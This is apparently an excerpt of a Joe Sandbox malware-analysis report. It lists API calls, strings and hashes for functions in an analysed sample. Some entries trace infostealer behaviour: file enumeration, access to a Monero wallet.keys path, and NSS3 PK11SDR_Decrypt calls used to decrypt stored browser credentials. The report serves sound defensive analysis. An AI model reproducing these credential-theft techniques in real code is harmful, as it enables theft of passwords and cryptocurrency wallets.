memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5CCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C5CCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5CDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C5CDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C5CDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5CDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C5CDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C5CE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5CE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C5CE472

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 03ea86511136922e999bdeed6525dadd60960a4b26cf1d0724361c3718228c77
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 1C33AD71E0021ACFCB04CFA8C8806ADBBF2FF89310F29466DD955AB755E731A945CB91

Function 6C58ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C58EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C58EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C591695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5916B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C591770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C591A3E

Strings

~qVl, xrefs: 6C58ED10
~qVl, xrefs: 6C58ED13

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qVl$~qVl
API String ID: 3693777188-3285583334
Opcode ID: 18fb3023b27b0c3a41915a4c274f6523d81e7f919f3d5230c1ca9abaf9da71e3
Instruction ID: 849936a86e24e165f572d94755efb0e28efb33b38ebc4f349ecbe67c347d8f4d
Opcode Fuzzy Hash: 18fb3023b27b0c3a41915a4c274f6523d81e7f919f3d5230c1ca9abaf9da71e3
Instruction Fuzzy Hash: 5EB32A71E01269CFCB14CFA8C890A9DB7B2FF89304F1586A9D459AB745D730AD86CF90

Function 6C57FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5EE7B8), ref: 6C57FF81
LeaveCriticalSection.KERNEL32(6C5EE7B8), ref: 6C58022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C580240
EnterCriticalSection.KERNEL32(6C5EE768), ref: 6C58025B
LeaveCriticalSection.KERNEL32(6C5EE768), ref: 6C58027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C57FE99, 6C57FEB7, 6C57FED3, 6C580DB8, 6C580DD3, 6C5819B4
<jemalloc>, xrefs: 6C580D62, 6C580D76, 6C580DA7
: (malloc) Error in VirtualFree(), xrefs: 6C580D67, 6C580D7B, 6C580DAC

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: e348fbe6444441c9ab02c99fb45b80ab3bc62baed9263a25ebcbf6ad07716410
Instruction ID: 9ea5a3d9fe3a08309bcbb7bc2f592d2a8480b8be3bedd053e5586e51b301cfca
Opcode Fuzzy Hash: e348fbe6444441c9ab02c99fb45b80ab3bc62baed9263a25ebcbf6ad07716410
Instruction Fuzzy Hash: CBC2AF71A067518FD714CF29C880716BBE1BFC9328F28CA6DE4A98B795D771E841CB81

Function 00DA4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00DA4580
RtlAllocateHeap.NTDLL(00000000), ref: 00DA4587
wsprintfA.USER32 ref: 00DA45A6
FindFirstFileA.KERNEL32(?,?), ref: 00DA45BD
StrCmpCA.SHLWAPI(?,00DB0FC4), ref: 00DA45EB
StrCmpCA.SHLWAPI(?,00DB0FC8), ref: 00DA4601
FindNextFileA.KERNEL32(000000FF,?), ref: 00DA468B
FindClose.KERNEL32(000000FF), ref: 00DA46A0
lstrcat.KERNEL32(?,0194F050), ref: 00DA46C5
lstrcat.KERNEL32(?,0194E240), ref: 00DA46D8
lstrlen.KERNEL32(?), ref: 00DA46E5
lstrlen.KERNEL32(?), ref: 00DA46F6

Strings

%s\*, xrefs: 00DA459A
%s\%s, xrefs: 00DA461B

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 79d01eacc5296dd8a78c4cedad9cb1125b289c09f28c9c02b10a441a129de5b6
Instruction ID: 95103a865aea0c6a5d3959899ee9daf7dd5ff0de96094cc07f3adc8797dd2655
Opcode Fuzzy Hash: 79d01eacc5296dd8a78c4cedad9cb1125b289c09f28c9c02b10a441a129de5b6
Instruction Fuzzy Hash: CC5155B694021C9BCB60EBB0DC89FEE777DEB59300F404589B60992050EB74DB849FB6

Function 00D9ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00D9ED3E
FindFirstFileA.KERNEL32(?,?), ref: 00D9ED55
StrCmpCA.SHLWAPI(?,00DB1538), ref: 00D9EDAB
StrCmpCA.SHLWAPI(?,00DB153C), ref: 00D9EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00D9F2AE
FindClose.KERNEL32(000000FF), ref: 00D9F2C3

Strings

%s\*.*, xrefs: 00D9ED32

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 47a104f117d8e6c593cf3cb4c7ac0ec06dedd0a66ee947be032381487c4bc87c
Instruction ID: cd413db2ef449c9f023809989f44ed6da9205fd44ada91490008cb175a05099c
Opcode Fuzzy Hash: 47a104f117d8e6c593cf3cb4c7ac0ec06dedd0a66ee947be032381487c4bc87c
Instruction Fuzzy Hash: 69E1BF729111189ADB94FB64DC52EEE7378EF55300F404699B50B62092EF346F8ACF72

Function 6C58D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5EE784,?,?,?,?,?,?,?,00000000,756F2FE0,00000001,?,6C59D1C5), ref: 6C58D4F2
LeaveCriticalSection.KERNEL32(6C5EE784,?,?,?,?,?,?,?,00000000,756F2FE0,00000001,?,6C59D1C5), ref: 6C58D50B

Part of subcall function 6C56CFE0: EnterCriticalSection.KERNEL32(6C5EE784), ref: 6C56CFF6
Part of subcall function 6C56CFE0: LeaveCriticalSection.KERNEL32(6C5EE784), ref: 6C56D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,756F2FE0,00000001,?,6C59D1C5), ref: 6C58D52E
EnterCriticalSection.KERNEL32(6C5EE7DC), ref: 6C58D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C58D6A6
LeaveCriticalSection.KERNEL32(6C5EE7DC), ref: 6C58D712
LeaveCriticalSection.KERNEL32(6C5EE784,?,?,?,?,?,?,?,00000000,756F2FE0,00000001,?,6C59D1C5), ref: 6C58D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C58D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C58D82C
<jemalloc>, xrefs: 6C58D827

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 9b7db096a35890eb81a9d5d81f9a7ca4ef3b87558c153e7b09cc89832b4e4c6e
Instruction ID: 7092e41a4d433fbc4d97a1d98754cf9af21cd04a6f4df9610cf41ac361ef39e3
Opcode Fuzzy Hash: 9b7db096a35890eb81a9d5d81f9a7ca4ef3b87558c153e7b09cc89832b4e4c6e
Instruction Fuzzy Hash: 8C910471A053668FDB54CF29CC9032AB7E2EB89314F15892FE49AC7B85D770E844CB81

Function 00D9DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00DB0C2E), ref: 00D9DE5E
StrCmpCA.SHLWAPI(?,00DB14C8), ref: 00D9DEAE
StrCmpCA.SHLWAPI(?,00DB14CC), ref: 00D9DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00D9E3E0
FindClose.KERNEL32(000000FF), ref: 00D9E3F2

Strings

\*.*, xrefs: 00D9DE26

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: c490af3382c9d94f866bb2fd5f89b3540b6ef1953e6dfa61ed8c80f5919af717
Instruction ID: 746283345acb22a331861e4bedccecc0434084d46b1e861aaf66a3363626b521
Opcode Fuzzy Hash: c490af3382c9d94f866bb2fd5f89b3540b6ef1953e6dfa61ed8c80f5919af717
Instruction Fuzzy Hash: D6F18B719101289ADB55EB74DC95EEE7378FF15300F80469AA40B62091EF346F8ACF72

Function 01156799 Relevance: 14.1, Strings: 10, Instructions: 1633COMMON

Download Yara Rule

Strings

FnK_, xrefs: 01157264
rdcV, xrefs: 011577E7
??, xrefs: 0115748D
I{, xrefs: 01157201
'|~, xrefs: 0115739C
a*O|, xrefs: 01156A50
;U}7, xrefs: 01157339
cS~, xrefs: 01157AD5
??, xrefs: 0115747F
jw6, xrefs: 01156888

Memory Dump Source

Source File: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: jw6$ I{$;U}7$FnK_$a*O|$cS~$rdcV$ ??$ ??$'|~
API String ID: 0-3450952222
Opcode ID: fb08493f0ce6d5ad635818ab68dbcdfc9f729225b52778122094e4ffb11a0fac
Instruction ID: 00b7ccb2e512d1affd7cb191eec9d357b26512310f288787d016a5efbad7b343
Opcode Fuzzy Hash: fb08493f0ce6d5ad635818ab68dbcdfc9f729225b52778122094e4ffb11a0fac
Instruction Fuzzy Hash: 22B206F360C2049FE304AE2DEC8567ABBEAEFD4720F1A853DE6C4C7744E53598058696

Function 00D9C820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00D9C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00D9C87C
PK11_GetInternalKeySlot.NSS3 ref: 00D9C88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00D9C8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00D9C8EB
lstrcat.KERNEL32(?,00DB0B46), ref: 00D9C943
lstrcat.KERNEL32(?,00DB0B47), ref: 00D9C957
PK11_FreeSlot.NSS3(?), ref: 00D9C961
lstrcat.KERNEL32(?,00DB0B4E), ref: 00D9C978

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: 189dfa2de8b0bfbf83bcf072dba74aba6204df1b497691780ffa70e19ade2bc6
Instruction ID: 0d96c1b0ec295a18759a038ef95b1563f8e8eaf0c9144896e7afc9082161021c
Opcode Fuzzy Hash: 189dfa2de8b0bfbf83bcf072dba74aba6204df1b497691780ffa70e19ade2bc6
Instruction Fuzzy Hash: F441A27490421DEFCB10DFA0DC89BEEB7B8BB44704F1041A9F509A7280D7709A84DFA5

Function 6C5B2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C5B2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5B2C61

Part of subcall function 6C564DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C564E5A
Part of subcall function 6C564DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C564E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5B2C82
